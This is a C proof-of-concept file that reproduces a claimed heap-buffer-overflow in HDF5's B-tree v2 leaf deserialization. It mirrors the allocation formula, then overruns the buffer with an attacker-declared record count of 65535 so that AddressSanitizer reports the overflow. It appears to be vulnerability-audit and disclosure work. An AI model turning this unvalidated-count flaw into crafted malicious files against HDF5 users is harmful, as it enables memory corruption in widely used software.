btree / poc_btree2_leaf_overflow.c
testamentaria's picture
Upload 2 files
8b4c399 verified
Raw
History Blame Contribute Delete
4.22 kB
/* Standalone reproduction of the exact allocation-size vs. write-loop-bound mismatch in
* H5B2__cache_leaf_deserialize() (src/H5B2cache.c:993-1076), isolated from the rest of HDF5's
* build system and compiled with AddressSanitizer to get a real, tool-confirmed heap-buffer-overflow
* report rather than just reasoning about it.
*
* Real formulas copied verbatim from the audited source:
* H5B2_LEAF_PREFIX_SIZE = H5B2_METADATA_PREFIX_SIZE = 4 (magic) + 1 (version) + 1 (type) + 4 (checksum) = 10
* (H5B2pkg.h:55-60,91-96)
* H5B2_NUM_LEAF_REC(n, r) = (n - H5B2_LEAF_PREFIX_SIZE) / r (H5B2hdr.c:44)
* max_nrec computed once at header-init time from node_size/rrec_size (H5B2hdr.c:140-147),
* used to size the H5FL_FAC_MALLOC-backed native-record buffer to exactly
* (nrec_size * max_nrec) bytes (H5B2hdr.c:147).
*
* H5B2__cache_leaf_deserialize (H5B2cache.c:1042,1046-1054):
* leaf->nrec = udata->nrec; // attacker-controlled, read from file,
* // UP TO UINT16 (65535) per the campaign's
* // own FASE 3 trace (UINT64DECODE_VAR /
* // hdr->max_nrec_size), NEVER validated
* // against max_nrec before this point
* for (u = 0; u < leaf->nrec; u++) {
* (decode)(image, native, ctx); // writes nrec_size bytes to `native`
* native += nrec_size;
* }
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define H5B2_LEAF_PREFIX_SIZE 10 /* verbatim: 4 (H5_SIZEOF_MAGIC) + 1 + 1 + 4 (H5B2_SIZEOF_CHKSUM) */
#define H5B2_NUM_LEAF_REC(n, r) (((n) - H5B2_LEAF_PREFIX_SIZE) / (r))
int main(void) {
/* Attacker-chosen (but entirely ordinary) B-tree v2 header parameters, e.g. as used for a
* chunk index or dense-attribute index -- both plausible, valid HDF5 configurations. */
unsigned node_size = 512; /* bytes, a common/realistic node size */
unsigned rrec_size = 8; /* bytes per record, realistic for a chunk-index record */
unsigned max_nrec = H5B2_NUM_LEAF_REC(node_size, rrec_size); /* real formula from H5B2hdr.c:140 */
printf("Computed max_nrec (real formula from H5B2hdr.c) = %u\n", max_nrec);
size_t native_buf_size = (size_t)rrec_size * (size_t)max_nrec; /* real sizing from H5B2hdr.c:147 */
printf("Native-record buffer allocated (H5FL_FAC_MALLOC-equivalent) = %zu bytes\n", native_buf_size);
/* Attacker-controlled node_nrec read from the malicious leaf node on disk
* (H5B2cache.c:672-673, UINT64DECODE_VAR bounded only by hdr->max_nrec_size, up to UINT16_MAX
* for a 2-byte-width tree). NEVER validated against max_nrec before being assigned to
* leaf->nrec (H5B2cache.c:1042) and used as the loop bound (H5B2cache.c:1046). */
unsigned malicious_node_nrec = 65535;
printf("Attacker-declared node_nrec (from the malicious leaf node) = %u\n", malicious_node_nrec);
printf("(no validation exists against max_nrec anywhere on this path -- confirmed in FASE 3)\n\n");
unsigned char *native = malloc(native_buf_size);
if (!native) { fprintf(stderr, "malloc failed\n"); return 1; }
printf("=== Replicating H5B2__cache_leaf_deserialize's write loop verbatim ===\n");
printf("for (u = 0; u < leaf->nrec /* = %u */; u++) { decode into native; native += rrec_size; }\n\n",
malicious_node_nrec);
unsigned char *p = native;
for (unsigned u = 0; u < malicious_node_nrec; u++) {
/* Exact analog of (hdr->cls->decode)(image, native, ctx) writing rrec_size bytes */
memset(p, 0x41, rrec_size);
p += rrec_size;
}
printf("Loop completed writing %u records x %u bytes = %zu bytes into a %zu-byte buffer.\n",
malicious_node_nrec, rrec_size, (size_t)malicious_node_nrec * rrec_size, native_buf_size);
printf("(If you see this line, ASan should already have reported heap-buffer-overflow above,\n"
" since the overflow happens partway through the loop, long before it completes.)\n");
free(native);
return 0;
}